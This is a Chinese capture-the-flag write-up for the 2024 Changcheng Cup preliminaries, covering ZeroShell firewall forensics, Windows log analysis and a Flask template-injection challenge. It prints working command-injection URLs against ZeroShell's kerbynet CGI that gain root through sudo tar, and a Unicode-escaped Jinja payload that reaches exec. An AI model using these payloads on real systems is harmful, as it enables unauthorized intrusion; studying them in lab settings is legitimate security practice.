2024-12-17 长城杯初赛WP

2024-12-17 长城杯初赛WP

十二月 17, 2024

威胁检测与网络流量分析

zeroshell_1

题目内容:

小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

1.从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}

(本题附件见于提前下载的加密附件2e9c01da1d333cb8840968689ed3bc57.7z,解压密码为11b0526b-9cfb-4ac4-8a75-10ad9097b7ce )

  1. 解压附件

解压后是一个vmk的虚拟机内容和一个流量包,其他文件夹是空的

先运行vmk ps: 需要17以上版本,而我准备的vm是16版本的,所以花了些时间重装

把虚拟机跑起来

题目已提示

分析会话编写exp或数据包重放获取防火墙设备管理员权限

多半是数据包重放攻击

整理好思路开始查看

ps: 太累了不放图了

wireshark过滤内容

http

然后搜索字符串 搜那个登录的 action键的值

搜到了账号密码 admin qwe!@..

试了很多次无法登录

这是个误导人的信息

后面对cgi接口进行测试

在http请求数据包中找到了一串base64

这个既是答案也是下一题的线索


zeroshell_2

2.通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容

看到这个就该想到webshell了

1
61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='find / -name “flag”'%0A'%20 HTTP/1.1

经过测试发现传参漏洞

先经过find命令找到flag文件

1
61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='find / -name “flag”'%0A'%20 HTTP/1.1

直接cat 拿到flag


zeroshell_3

1
61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='netstat -ano'%0A'%20 HTTP/1.1

找到IP就行了

没截图别看了

zeroshell_5

1
http://61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27cat%20/DB/_DB.001/.nginx %27%0A%27%20%20HTTP/1.1

应该没打错吧

把木马文件内容提取出来

hxd打开查看字段找到密码311223344qweasdzxc

win1

运行虚拟机查看属性

送分题

win2

翻日志的时候 查看了一下计划任务找到密码

很明显的base64编码

解码成html实体编码

就这

最后解码成flag

Safe_Proxy

阅读源码发现是我熟悉的flask 框架

过滤内容太多了

但是没有过滤 Unicode 转义

代码尝试通过递归访问字典的多个层级来最终获取到 exec 函数

最后exec执行命令即可

exp

1
code={{cycler['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['exec']("(\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f)('\u006f\u0073').\u0070\u006f\u0070\u0065\u006e('cat /flag > app.py').read()")}}

ps:思路: 内建字典中获取到 exec 函数,利用该函数执行一个命令行操作